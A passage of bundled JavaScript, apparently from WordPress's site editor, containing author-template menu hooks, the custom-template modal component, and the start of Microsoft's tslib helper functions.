44480const USE_AUTHOR_MENU_ITEM_TEMPLATE_PREFIX = { user: "author" };
44481const USE_AUTHOR_MENU_ITEM_QUERY_PARAMETERS = { user: { who: "authors" } };
44482function useAuthorMenuItem(onClickMenuItem) {
44483 const existingTemplates = useExistingTemplates();
44484 const defaultTemplateTypes = useDefaultTemplateTypes();
44485 const authorInfo = useEntitiesInfo(
44486 "root",
44487 USE_AUTHOR_MENU_ITEM_TEMPLATE_PREFIX,
44488 USE_AUTHOR_MENU_ITEM_QUERY_PARAMETERS
44489 );
44490 let authorMenuItem = defaultTemplateTypes?.find(
44491 ({ slug }) => slug === "author"
44492 );
44493 if (!authorMenuItem) {
44494 authorMenuItem = {
44495 description: (0,external_wp_i18n_namespaceObject.__)(
44496 "Displays latest posts written by a single author."
44497 ),
44498 slug: "author",
44499 title: "Author"
44500 };
44501 }
44502 const hasGeneralTemplate = !!existingTemplates?.find(
44503 ({ slug }) => slug === "author"
44504 );
44505 if (authorInfo.user?.hasEntities) {
44506 authorMenuItem = { ...authorMenuItem, templatePrefix: "author" };
44507 authorMenuItem.onClick = (template) => {
44508 onClickMenuItem({
44509 type: "root",
44510 slug: "user",
44511 config: {
44512 queryArgs: ({ search }) => {
44513 return {
44514 _fields: "id,name,slug,link",
44515 orderBy: search ? "name" : "registered_date",
44516 exclude: authorInfo.user.existingEntitiesIds,
44517 who: "authors"
44518 };
44519 },
44520 getSpecificTemplate: (suggestion) => {
44521 const templateSlug = prefixSlug(
44522 "author",
44523 suggestion.slug
44524 );
44525 return {
44526 title: templateSlug,
44527 slug: templateSlug,
44528 templatePrefix: "author"
44529 };
44530 }
44531 },
44532 labels: {
44533 singular_name: (0,external_wp_i18n_namespaceObject.__)("Author"),
44534 search_items: (0,external_wp_i18n_namespaceObject.__)("Search Authors"),
44535 not_found: (0,external_wp_i18n_namespaceObject.__)("No authors found."),
44536 all_items: (0,external_wp_i18n_namespaceObject.__)("All Authors")
44537 },
44538 hasGeneralTemplate,
44539 template
44540 });
44541 };
44542 }
44543 if (!hasGeneralTemplate || authorInfo.user?.hasEntities) {
44544 return authorMenuItem;
44545 }
44546}
44547const useExistingTemplateSlugs = (templatePrefixes) => {
44548 const existingTemplates = useExistingTemplates();
44549 const existingSlugs = (0,external_wp_element_.useMemo)(() => {
44550 return Object.entries(templatePrefixes || {}).reduce(
44551 (accumulator, [slug, prefix]) => {
44552 const slugsWithTemplates = (existingTemplates || []).reduce(
44553 (_accumulator, existingTemplate) => {
44554 const _prefix = `${prefix}-`;
44555 if (existingTemplate.slug.startsWith(_prefix)) {
44556 _accumulator.push(
44557 existingTemplate.slug.substring(
44558 _prefix.length
44559 )
44560 );
44561 }
44562 return _accumulator;
44563 },
44564 []
44565 );
44566 if (slugsWithTemplates.length) {
44567 accumulator[slug] = slugsWithTemplates;
44568 }
44569 return accumulator;
44570 },
44571 {}
44572 );
44573 }, [templatePrefixes, existingTemplates]);
44574 return existingSlugs;
44575};
44576const useTemplatesToExclude = (entityName, templatePrefixes, additionalQueryParameters = {}) => {
44577 const slugsToExcludePerEntity = useExistingTemplateSlugs(templatePrefixes);
44578 const recordsToExcludePerEntity = (0,external_wp_data_.useSelect)(
44579 (select) => {
44580 return Object.entries(slugsToExcludePerEntity || {}).reduce(
44581 (accumulator, [slug, slugsWithTemplates]) => {
44582 const entitiesWithTemplates = select(
44583 external_wp_coreData_namespaceObject.store
44584 ).getEntityRecords(entityName, slug, {
44585 _fields: "id",
44586 context: "view",
44587 slug: slugsWithTemplates,
44588 ...additionalQueryParameters[slug]
44589 });
44590 if (entitiesWithTemplates?.length) {
44591 accumulator[slug] = entitiesWithTemplates;
44592 }
44593 return accumulator;
44594 },
44595 {}
44596 );
44597 },
44598 [slugsToExcludePerEntity]
44599 );
44600 return recordsToExcludePerEntity;
44601};
44602const useEntitiesInfo = (entityName, templatePrefixes, additionalQueryParameters = EMPTY_OBJECT) => {
44603 const recordsToExcludePerEntity = useTemplatesToExclude(
44604 entityName,
44605 templatePrefixes,
44606 additionalQueryParameters
44607 );
44608 const entitiesHasRecords = (0,external_wp_data_.useSelect)(
44609 (select) => {
44610 return Object.keys(templatePrefixes || {}).reduce(
44611 (accumulator, slug) => {
44612 const existingEntitiesIds = recordsToExcludePerEntity?.[slug]?.map(
44613 ({ id }) => id
44614 ) || [];
44615 accumulator[slug] = !!select(
44616 external_wp_coreData_namespaceObject.store
44617 ).getEntityRecords(entityName, slug, {
44618 per_page: 1,
44619 _fields: "id",
44620 context: "view",
44621 exclude: existingEntitiesIds,
44622 ...additionalQueryParameters[slug]
44623 })?.length;
44624 return accumulator;
44625 },
44626 {}
44627 );
44628 },
44629 [
44630 templatePrefixes,
44631 recordsToExcludePerEntity,
44632 entityName,
44633 additionalQueryParameters
44634 ]
44635 );
44636 const entitiesInfo = (0,external_wp_element_.useMemo)(() => {
44637 return Object.keys(templatePrefixes || {}).reduce(
44638 (accumulator, slug) => {
44639 const existingEntitiesIds = recordsToExcludePerEntity?.[slug]?.map(
44640 ({ id }) => id
44641 ) || [];
44642 accumulator[slug] = {
44643 hasEntities: entitiesHasRecords[slug],
44644 existingEntitiesIds
44645 };
44646 return accumulator;
44647 },
44648 {}
44649 );
44650 }, [templatePrefixes, recordsToExcludePerEntity, entitiesHasRecords]);
44651 return entitiesInfo;
44652};
44653
44654
44655;// ./node_modules/@wordpress/edit-site/build-module/components/add-new-template/add-custom-template-modal-content.js
44656
44657
44658
44659
44660
44661
44662
44663
44664
44665
44666const add_custom_template_modal_content_EMPTY_ARRAY = [];
44667function SuggestionListItem({
44668 suggestion,
44669 search,
44670 onSelect,
44671 entityForSuggestions
44672}) {
44673 const baseCssClass = "edit-site-custom-template-modal__suggestions_list__list-item";
44674 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
44675 external_wp_components_namespaceObject.Composite.Item,
44676 {
44677 render: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
44678 external_wp_components_namespaceObject.Button,
44679 {
44680 __next40pxDefaultSize: true,
44681 role: "option",
44682 className: baseCssClass,
44683 onClick: () => onSelect(
44684 entityForSuggestions.config.getSpecificTemplate(
44685 suggestion
44686 )
44687 )
44688 }
44689 ),
44690 children: [
44691 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
44692 external_wp_components_namespaceObject.__experimentalText,
44693 {
44694 size: "body",
44695 lineHeight: 1.53846153846,
44696 weight: 500,
44697 className: `${baseCssClass}__title`,
44698 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
44699 external_wp_components_namespaceObject.TextHighlight,
44700 {
44701 text: (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(suggestion.name),
44702 highlight: search
44703 }
44704 )
44705 }
44706 ),
44707 suggestion.link && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
44708 external_wp_components_namespaceObject.__experimentalText,
44709 {
44710 size: "body",
44711 lineHeight: 1.53846153846,
44712 className: `${baseCssClass}__info`,
44713 children: (0,external_wp_url_namespaceObject.safeDecodeURI)(suggestion.link)
44714 }
44715 )
44716 ]
44717 }
44718 );
44719}
44720function useSearchSuggestions(entityForSuggestions, search) {
44721 const { config } = entityForSuggestions;
44722 const query = (0,external_wp_element_.useMemo)(
44723 () => ({
44724 order: "asc",
44725 context: "view",
44726 search,
44727 per_page: search ? 20 : 10,
44728 ...config.queryArgs(search)
44729 }),
44730 [search, config]
44731 );
44732 const { records: searchResults, hasResolved: searchHasResolved } = (0,external_wp_coreData_namespaceObject.useEntityRecords)(
44733 entityForSuggestions.type,
44734 entityForSuggestions.slug,
44735 query
44736 );
44737 const [suggestions, setSuggestions] = (0,external_wp_element_.useState)(add_custom_template_modal_content_EMPTY_ARRAY);
44738 (0,external_wp_element_.useEffect)(() => {
44739 if (!searchHasResolved) {
44740 return;
44741 }
44742 let newSuggestions = add_custom_template_modal_content_EMPTY_ARRAY;
44743 if (searchResults?.length) {
44744 newSuggestions = searchResults;
44745 if (config.recordNamePath) {
44746 newSuggestions = mapToIHasNameAndId(
44747 newSuggestions,
44748 config.recordNamePath
44749 );
44750 }
44751 }
44752 setSuggestions(newSuggestions);
44753 }, [searchResults, searchHasResolved]);
44754 return suggestions;
44755}
44756function SuggestionList({ entityForSuggestions, onSelect }) {
44757 const [search, setSearch, debouncedSearch] = (0,external_wp_compose_namespaceObject.useDebouncedInput)();
44758 const suggestions = useSearchSuggestions(
44759 entityForSuggestions,
44760 debouncedSearch
44761 );
44762 const { labels } = entityForSuggestions;
44763 const [showSearchControl, setShowSearchControl] = (0,external_wp_element_.useState)(false);
44764 if (!showSearchControl && suggestions?.length > 9) {
44765 setShowSearchControl(true);
44766 }
44767 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
44768 showSearchControl && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
44769 external_wp_components_namespaceObject.SearchControl,
44770 {
44771 __nextHasNoMarginBottom: true,
44772 onChange: setSearch,
44773 value: search,
44774 label: labels.search_items,
44775 placeholder: labels.search_items
44776 }
44777 ),
44778 !!suggestions?.length && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
44779 external_wp_components_namespaceObject.Composite,
44780 {
44781 orientation: "vertical",
44782 role: "listbox",
44783 className: "edit-site-custom-template-modal__suggestions_list",
44784 "aria-label": (0,external_wp_i18n_namespaceObject.__)("Suggestions list"),
44785 children: suggestions.map((suggestion) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
44786 SuggestionListItem,
44787 {
44788 suggestion,
44789 search: debouncedSearch,
44790 onSelect,
44791 entityForSuggestions
44792 },
44793 suggestion.slug
44794 ))
44795 }
44796 ),
44797 debouncedSearch && !suggestions?.length && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
44798 external_wp_components_namespaceObject.__experimentalText,
44799 {
44800 as: "p",
44801 className: "edit-site-custom-template-modal__no-results",
44802 children: labels.not_found
44803 }
44804 )
44805 ] });
44806}
44807function AddCustomTemplateModalContent({
44808 onSelect,
44809 entityForSuggestions,
44810 onBack,
44811 containerRef
44812}) {
44813 const [showSearchEntities, setShowSearchEntities] = (0,external_wp_element_.useState)(
44814 entityForSuggestions.hasGeneralTemplate
44815 );
44816 (0,external_wp_element_.useEffect)(() => {
44817 if (containerRef.current) {
44818 const [firstFocusable] = external_wp_dom_namespaceObject.focus.focusable.find(
44819 containerRef.current
44820 );
44821 firstFocusable?.focus();
44822 }
44823 }, [showSearchEntities]);
44824 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
44825 external_wp_components_namespaceObject.__experimentalVStack,
44826 {
44827 spacing: 4,
44828 className: "edit-site-custom-template-modal__contents-wrapper",
44829 alignment: "left",
44830 children: [
44831 !showSearchEntities && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
44832 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalText, { as: "p", children: (0,external_wp_i18n_namespaceObject.__)(
44833 "Select whether to create a single template for all items or a specific one."
44834 ) }),
44835 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
44836 external_wp_components_namespaceObject.Flex,
44837 {
44838 className: "edit-site-custom-template-modal__contents",
44839 gap: "4",
44840 align: "initial",
44841 children: [
44842 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
44843 external_wp_components_namespaceObject.FlexItem,
44844 {
44845 isBlock: true,
44846 as: external_wp_components_namespaceObject.Button,
44847 onClick: () => {
44848 const {
44849 slug,
44850 title,
44851 description,
44852 templatePrefix
44853 } = entityForSuggestions.template;
44854 onSelect({
44855 slug,
44856 title,
44857 description,
44858 templatePrefix
44859 });
44860 },
44861 children: [
44862 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
44863 external_wp_components_namespaceObject.__experimentalText,
44864 {
44865 as: "span",
44866 weight: 500,
44867 lineHeight: 1.53846153846,
44868 children: entityForSuggestions.labels.all_items
44869 }
44870 ),
44871 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
44872 external_wp_components_namespaceObject.__experimentalText,
44873 {
44874 as: "span",
44875 lineHeight: 1.53846153846,
44876 // translators: The user is given the choice to set up a template for all items of a post type or taxonomy, or just a specific one.
44877 children: (0,external_wp_i18n_namespaceObject.__)("For all items")
44878 }
44879 )
44880 ]
44881 }
44882 ),
44883 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
44884 external_wp_components_namespaceObject.FlexItem,
44885 {
44886 isBlock: true,
44887 as: external_wp_components_namespaceObject.Button,
44888 onClick: () => {
44889 setShowSearchEntities(true);
44890 },
44891 children: [
44892 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
44893 external_wp_components_namespaceObject.__experimentalText,
44894 {
44895 as: "span",
44896 weight: 500,
44897 lineHeight: 1.53846153846,
44898 children: entityForSuggestions.labels.singular_name
44899 }
44900 ),
44901 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
44902 external_wp_components_namespaceObject.__experimentalText,
44903 {
44904 as: "span",
44905 lineHeight: 1.53846153846,
44906 // translators: The user is given the choice to set up a template for all items of a post type or taxonomy, or just a specific one.
44907 children: (0,external_wp_i18n_namespaceObject.__)("For a specific item")
44908 }
44909 )
44910 ]
44911 }
44912 )
44913 ]
44914 }
44915 ),
44916 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Flex, { justify: "right", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
44917 external_wp_components_namespaceObject.Button,
44918 {
44919 __next40pxDefaultSize: true,
44920 variant: "tertiary",
44921 onClick: onBack,
44922 children: (0,external_wp_i18n_namespaceObject.__)("Back")
44923 }
44924 ) })
44925 ] }),
44926 showSearchEntities && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
44927 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalText, { as: "p", children: (0,external_wp_i18n_namespaceObject.__)(
44928 "This template will be used only for the specific item chosen."
44929 ) }),
44930 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
44931 SuggestionList,
44932 {
44933 entityForSuggestions,
44934 onSelect
44935 }
44936 ),
44937 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Flex, { justify: "right", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
44938 external_wp_components_namespaceObject.Button,
44939 {
44940 __next40pxDefaultSize: true,
44941 variant: "tertiary",
44942 onClick: () => {
44943 if (entityForSuggestions.hasGeneralTemplate) {
44944 onBack();
44945 } else {
44946 setShowSearchEntities(false);
44947 }
44948 },
44949 children: (0,external_wp_i18n_namespaceObject.__)("Back")
44950 }
44951 ) })
44952 ] })
44953 ]
44954 }
44955 );
44956}
44957var add_custom_template_modal_content_default = AddCustomTemplateModalContent;
44958
44959
44960;// ./node_modules/tslib/tslib.es6.mjs
44961/******************************************************************************
44962Copyright (c) Microsoft Corporation.
44963
44964Permission to use, copy, modify, and/or distribute this software for any
44965purpose with or without fee is hereby granted.
44966
44967THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH
44968REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY
44969AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT,
44970INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM
44971LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR
44972OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
44973PERFORMANCE OF THIS SOFTWARE.
44974***************************************************************************** */
44975/* global Reflect, Promise, SuppressedError, Symbol, Iterator */
44976
44977var extendStatics = function(d, b) {
44978 extendStatics = Object.setPrototypeOf ||
44979 ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||
44980 function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; };
44981 return extendStatics(d, b);
44982};
44983
44984function __extends(d, b) {
44985 if (typeof b !== "function" && b !== null)
44986 throw new TypeError("Class extends value " + String(b) + " is not a constructor or null");
44987 extendStatics(d, b);
44988 function __() { this.constructor = d; }
44989 d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());
44990}
44991
44992var __assign = function() {
44993 __assign = Object.assign || function __assign(t) {
44994 for (var s, i = 1, n = arguments.length; i < n; i++) {
44995 s = arguments[i];
44996 for (var p in s) if (Object.prototype.hasOwnProperty.call(s, p)) t[p] = s[p];
44997 }
44998 return t;
44999 }
45000 return __assign.apply(this, arguments);
45001}
45002
45003function __rest(s, e) {
45004 var t = {};
45005 for (var p in s) if (Object.prototype.hasOwnProperty.call(s, p) && e.indexOf(p) < 0)
45006 t[p] = s[p];
45007 if (s != null && typeof Object.getOwnPropertySymbols === "function")
45008 for (var i = 0, p = Object.getOwnPropertySymbols(s); i < p.length; i++) {
45009 if (e.indexOf(p[i]) < 0 && Object.prototype.propertyIsEnumerable.call(s, p[i]))
45010 t[p[i]] = s[p[i]];
45011 }
45012 return t;
45013}
45014
45015function __decorate(decorators, target, key, desc) {
45016 var c = arguments.length, r = c < 3 ? target : desc === null ? desc = Object.getOwnPropertyDescriptor(target, key) : desc, d;
45017 if (typeof Reflect === "object" && typeof Reflect.decorate === "function") r = Reflect.decorate(decorators, target, key, desc);
45018 else for (var i = decorators.length - 1; i >= 0; i--) if (d = decorators[i]) r = (c < 3 ? d(r) : c > 3 ? d(target, key, r) : d(target, key)) || r;
45019 return c > 3 && r && Object.defineProperty(target, key, r), r;
45020}
45021
45022function __param(paramIndex, decorator) {
45023 return function (target, key) { decorator(target, key, paramIndex); }
45024}
45025
45026function __esDecorate(ctor, descriptorIn, decorators, contextIn, initializers, extraInitializers) {
45027 function accept(f) { if (f !== void 0 && typeof f !== "function") throw new TypeError("Function expected"); return f; }
45028 var kind = contextIn.kind, key = kind === "getter" ? "get" : kind === "setter" ? "set" : "value";
45029 var target = !descriptorIn && ctor ? contextIn["static"] ? ctor : ctor.prototype : null;
45030 var descriptor = descriptorIn || (target ? Object.getOwnPropertyDescriptor(target, contextIn.name) : {});
45031 var _, done = false;
45032 for (var i = decorators.length - 1; i >= 0; i--) {
45033 var context = {};
45034 for (var p in contextIn) context[p] = p === "access" ? {} : contextIn[p];
45035 for (var p in contextIn.access) context.access[p] = contextIn.access[p];
45036 context.addInitializer = function (f) { if (done) throw new TypeError("Cannot add initializers after decoration has completed"); extraInitializers.push(accept(f || null)); };
45037 var result = (0, decorators[i])(kind === "accessor" ? { get: descriptor.get, set: descriptor.set } : descriptor[key], context);
45038 if (kind === "accessor") {
45039 if (result === void 0) continue;
45040 if (result === null || typeof result !== "object") throw new TypeError("Object expected");
45041 if (_ = accept(result.get)) descriptor.get = _;
45042 if (_ = accept(result.set)) descriptor.set = _;
45043 if (_ = accept(result.init)) initializers.unshift(_);
45044 }
45045 else if (_ = accept(result)) {
45046 if (kind === "field") initializers.unshift(_);
45047 else descriptor[key] = _;
45048 }
45049 }
45050 if (target) Object.defineProperty(target, contextIn.name, descriptor);
45051 done = true;
45052};
45053
45054function __runInitializers(thisArg, initializers, value) {
45055 var useValue = arguments.length > 2;
45056 for (var i = 0; i < initializers.length; i++) {
45057 value = useValue ? initializers[i].call(thisArg, value) : initializers[i].call(thisArg);
45058 }
45059 return useValue ? value : void 0;
45060};
45061
45062function __propKey(x) {
45063 return typeof x === "symbol" ? x : "".concat(x);
45064};
45065
45066function __setFunctionName(f, name, prefix) {
45067 if (typeof name === "symbol") name = name.description ? "[".concat(name.description, "]") : "";
45068 return Object.defineProperty(f, "name", { configurable: true, value: prefix ? "".concat(prefix, " ", name) : name });
45069};
45070
45071function __metadata(metadataKey, metadataValue) {
45072 if (typeof Reflect === "object" && typeof Reflect.metadata === "function") return Reflect.metadata(metadataKey, metadataValue);
45073}
45074
45075function __awaiter(thisArg, _arguments, P, generator) {
45076 function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
45077 return new (P || (P = Promise))(function (resolve, reject) {
45078 function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
45079 function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
45080 function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
45081 step((generator = generator.apply(thisArg, _arguments || [])).next());
45082 });
45083}
45084
45085function __generator(thisArg, body) {
45086 var _ = { label: 0, sent: function() { if (t[0] & 1) throw t[1]; return t[1]; }, trys: [], ops: [] }, f, y, t, g = Object.create((typeof Iterator === "function" ? Iterator : Object).prototype);
45087 return g.next = verb(0), g["throw"] = verb(1), g["return"] = verb(2), typeof Symbol === "function" && (g[Symbol.iterator] = function() { return this; }), g;
45088 function verb(n) { return function (v) { return step([n, v]); }; }
45089 function step(op) {
45090 if (f) throw new TypeError("Generator is already executing.");
45091 while (g && (g = 0, op[0] && (_ = 0)), _) try {
45092 if (f = 1, y && (t = op[0] & 2 ? y["return"] : op[0] ? y["throw"] || ((t = y["return"]) && t.call(y), 0) : y.next) && !(t = t.call(y, op[1])).done) return t;
45093 if (y = 0, t) op = [op[0] & 2, t.value];
45094 switch (op[0]) {
45095 case 0: case 1: t = op; break;
45096 case 4: _.label++; return { value: op[1], done: false };
45097 case 5: _.label++; y = op[1]; op = [0]; continue;
45098 case 7: op = _.ops.pop(); _.trys.pop(); continue;
45099 default:
45100 if (!(t = _.trys, t = t.length > 0 && t[t.length - 1]) && (op[0] === 6 || op[0] === 2)) { _ = 0; continue; }
45101 if (op[0] === 3 && (!t || (op[1] > t[0] && op[1] < t[3]))) { _.label = op[1]; break; }
45102 if (op[0] === 6 && _.label < t[1]) { _.label = t[1]; t = op; break; }
45103 if (t && _.label < t[2]) { _.label = t[2]; _.ops.push(op); break; }
45104 if (t[2]) _.ops.pop();
45105 _.trys.pop(); continue;
45106 }
45107 op = body.call(thisArg, _);
45108 } catch (e) { op = [6, e]; y = 0; } finally { f = t = 0; }
45109 if (op[0] & 5) throw op[1]; return { value: op[0] ? op[1] : void 0, done: true };
45110 }
45111}
45112
45113var __createBinding = Object.create ? (function(o, m, k, k2) {
45114 if (k2 === undefined) k2 = k;
45115 var desc = Object.getOwnPropertyDescriptor(m, k);
45116 if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
45117 desc = { enumerable: true, get: function() { return m[k]; } };
45118 }
45119 Object.defineProperty(o, k2, desc);
45120}) : (function(o, m, k, k2) {
45121 if (k2 === undefined) k2 = k;
45122 o[k2] = m[k];
45123});
45124
45125function __exportStar(m, o) {
45126 for (var p in m) if (p !== "default" && !Object.prototype.hasOwnProperty.call(o, p)) __createBinding(o, m, p);
45127}
45128
45129function __values(o) {
45130 var s = typeof Symbol === "function" && Symbol.iterator, m = s && o[s], i = 0;
45131 if (m) return m.call(o);
45132 if (o && typeof o.length === "number") return {
45133 next: function () {
45134 if (o && i >= o.length) o = void 0;
45135 return { value: o && o[i++], done: !o };
45136 }
45137 };
45138 throw new TypeError(s ? "Object is not iterable." : "Symbol.iterator is not defined.");
45139}
45140
45141function __read(o, n) {
45142 var m = typeof Symbol === "function" && o[Symbol.iterator];
45143 if (!m) return o;
45144 var i = m.call(o), r, ar = [], e;
45145 try {
45146 while ((n === void 0 || n-- > 0) && !(r = i.next()).done) ar.push(r.value);
45147 }
45148 catch (error) { e = { error: error }; }
45149 finally {
45150 try {
45151 if (r && !r.done && (m = i["return"])) m.call(i);
45152 }
45153 finally { if (e) throw e.error; }
45154 }
45155 return ar;
45156}
45157
45158/** @deprecated */
45159function __spread() {
45160 for (var ar = [], i = 0; i < arguments.length; i++)
45161 ar = ar.concat(__read(arguments[i]));
45162 return ar;
45163}
45164
45165/** @deprecated */
45166function __spreadArrays() {
45167 for (var s = 0, i = 0, il = arguments.length; i < il; i++) s += arguments[i].length;
45168 for (var r = Array(s), k = 0, i = 0; i < il; i++)
45169 for (var a = arguments[i], j = 0, jl = a.length; j < jl; j++, k++)
45170 r[k] = a[j];
45171 return r;
45172}
45173
45174function __spreadArray(to, from, pack) {
45175 if (pack || arguments.length === 2) for (var i = 0, l = from.length, ar; i < l; i++) {
45176 if (ar || !(i in from)) {
45177 if (!ar) ar = Array.prototype.slice.call(from, 0, i);
45178 ar[i] = from[i];
45179 }
45180 }
45181 return to.concat(ar || Array.prototype.slice.call(from));
45182}
45183
45184function __await(v) {
45185 return this instanceof __await ? (this.v = v, this) : new __await(v);
45186}
45187
45188function __asyncGenerator(thisArg, _arguments, generator) {
45189 if (!Symbol.asyncIterator) throw new TypeError("Symbol.asyncIterator is not defined.");
45190 var g = generator.apply(thisArg, _arguments || []), i, q = [];
45191 return i = Object.create((typeof AsyncIterator === "function" ? AsyncIterator : Object).prototype), verb("next"), verb("throw"), verb("return", awaitReturn), i[Symbol.asyncIterator] = function () { return this; }, i;
45192 function awaitReturn(f) { return function (v) { return Promise.resolve(v).then(f, reject); }; }
45193 function verb(n, f) { if (g[n]) { i[n] = function (v) { return new Promise(function (a, b) { q.push([n, v, a, b]) > 1 || resume(n, v); }); }; if (f) i[n] = f(i[n]); } }
45194 function resume(n, v) { try { step(g[n](v)); } catch (e) { settle(q[0][3], e); } }
45195 function step(r) { r.value instanceof __await ? Promise.resolve(r.value.v).then(fulfill, reject) : settle(q[0][2], r); }
45196 function fulfill(value) { resume("next", value); }
45197 function reject(value) { resume("throw", value); }
45198 function settle(f, v) { if (f(v), q.shift(), q.length) resume(q[0][0], q[0][1]); }
45199}
45200
45201function __asyncDelegator(o) {
45202 var i, p;
45203 return i = {}, verb("next"), verb("throw", function (e) { throw e; }), verb("return"), i[Symbol.iterator] = function () { return this; }, i;
45204 function verb(n, f) { i[n] = o[n] ? function (v) { return (p = !p) ? { value: __await(o[n](v)), done: false } : f ? f(v) : v; } : f; }
45205}
45206
45207function __asyncValues(o) {
45208 if (!Symbol.asyncIterator) throw new TypeError("Symbol.asyncIterator is not defined.");
45209 var m = o[Symbol.asyncIterator], i;
45210 return m ? m.call(o) : (o = typeof __values === "function" ? __values(o) : o[Symbol.iterator](), i = {}, verb("next"), verb("throw"), verb("return"), i[Symbol.asyncIterator] = function () { return this; }, i);
45211 function verb(n) { i[n] = o[n] && function (v) { return new Promise(function (resolve, reject) { v = o[n](v), settle(resolve, reject, v.done, v.value); }); }; }
45212 function settle(resolve, reject, d, v) { Promise.resolve(v).then(function(v) { resolve({ value: v, done: d }); }, reject); }
45213}
45214
45215function __makeTemplateObject(cooked, raw) {
45216 if (Object.defineProperty) { Object.defineProperty(cooked, "raw", { value: raw }); } else { cooked.raw = raw; }
45217 return cooked;
45218};
45219
45220var __setModuleDefault = Object.create ? (function(o, v) {
45221 Object.defineProperty(o, "default", { enumerable: true, value: v });
45222}) : function(o, v) {
45223 o["default"] = v;
45224};
45225
45226var ownKeys = function(o) {
45227 ownKeys = Object.getOwnPropertyNames || function (o) {
45228 var ar = [];
45229 for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
45230 return ar;
45231 };
45232 return ownKeys(o);
45233};
45234
45235function __importStar(mod) {
45236 if (mod && mod.__esModule) return mod;
45237 var result = {};
45238 if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
45239 __setModuleDefault(result, mod);
45240 return result;
45241}
45242
45243function __importDefault(mod) {
45244 return (mod && mod.__esModule) ? mod : { default: mod };
45245}
45246
45247function __classPrivateFieldGet(receiver, state, kind, f) {
45248 if (kind === "a" && !f) throw new TypeError("Private accessor was defined without a getter");
45249 if (typeof state === "function" ? receiver !== state || !f : !state.has(receiver)) throw new TypeError("Cannot read private member from an object whose class did not declare it");
45250 return kind === "m" ? f : kind === "a" ? f.call(receiver) : f ? f.value : state.get(receiver);
45251}
45252
45253function __classPrivateFieldSet(receiver, state, value, kind, f) {
45254 if (kind === "m") throw new TypeError("Private method is not writable");
45255 if (kind === "a" && !f) throw new TypeError("Private accessor was defined without a setter");
45256 if (typeof state === "function" ? receiver !== state || !f : !state.has(receiver)) throw new TypeError("Cannot write private member to an object whose class did not declare it");
45257 return (kind === "a" ? f.call(receiver, value) : f ? f.value = value : state.set(receiver, value)), value;
45258}
45259
45260function __classPrivateFieldIn(state, receiver) {
45261 if (receiver === null || (typeof receiver !== "object" && typeof receiver !== "function")) throw new TypeError("Cannot use 'in' operator on non-object");
45262 return typeof state === "function" ? receiver === state : state.has(receiver);
45263}
45264
45265function __addDisposableResource(env, value, async) {
45266 if (value !== null && value !== void 0) {
45267 if (typeof value !== "object" && typeof value !== "function") throw new TypeError("Object expected.");
45268 var dispose, inner;
45269 if (async) {
45270 if (!Symbol.asyncDispose) throw new TypeError("Symbol.asyncDispose is not defined.");
45271 dispose = value[Symbol.asyncDispose];
45272 }
45273 if (dispose === void 0) {
45274 if (!Symbol.dispose) throw new TypeError("Symbol.dispose is not defined.");
